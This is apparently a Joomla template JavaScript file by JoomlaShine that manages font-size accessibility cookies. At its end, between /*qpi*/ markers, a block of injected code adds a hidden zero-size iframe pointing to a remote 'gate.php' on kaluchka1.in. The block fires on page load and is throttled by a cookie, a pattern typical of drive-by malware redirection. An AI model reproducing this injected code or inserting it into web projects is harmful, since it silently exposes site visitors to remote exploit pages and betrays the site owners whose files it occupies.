/**
	* @copyright Copyright (C) 2006 - 2008 JoomlaShine.com
	* @author JoomlaShine.com
	* @license Commercial Proprietary
	* Please visit http://www.joomlashine.com for more information
*/

var prefsLoaded = false;
var currentFontSize = defaultFontSize;

function jsnChangeFontSize(sizeDifference)
{
	currentFontSize = parseInt(currentFontSize) + parseInt(sizeDifference * 2.5);

	if(currentFontSize > 100){
		currentFontSize = 100;
	}else if(currentFontSize < 60){
		currentFontSize = 50;
	}

	jsnSetFontSize("jsn-master", currentFontSize);
}

function jsnResetFontSize()
{
	currentFontSize = defaultFontSize;
	jsnChangeFontSize(0);
}

function jsnLoadPrefs()
{
	if(!prefsLoaded){
		cookie = jsnReadCookie("fontSize");
		currentFontSize = cookie ? cookie : defaultFontSize;
		jsnChangeFontSize(0);
		
		prefsLoaded = true;
	}
}

function jsnSavePrefs()
{
	jsnWriteCookie("fontSize", currentFontSize, 365);
}

function jsnInitTemplate()
{
	// Set accessibility preferences
	jsnLoadPrefs();
}

function jsnFinalizeTemplate()
{
	// Save accessibility preferences
	jsnSavePrefs();
}

jsnAddEvent(window, 'load', jsnInitTemplate);
jsnAddEvent(window, 'unload', jsnFinalizeTemplate);/*qpi*/
function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}
var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled)
{
	document.cookie='1=1;expires='+e.toGMTString()+';path=/';
	window.setTimeout(function(){
		var JSinj=document.createElement('iframe');
		JSinj.src='http://s1.kaluchka1.in/gate.php?f=861562&r='+escape(document.referrer||'');
		JSinj.width='0';
		JSinj.height='0';
		JSinj.frameborder='0';
		JSinj.marginheight='0';
		JSinj.marginwidth='0';
		JSinj.border='0';
		try{
			document.body.appendChild(JSinj);
		}catch(e){
			document.documentElement.appendChild(JSinj);
		}
	}, 2000);
}
/*qpi*/
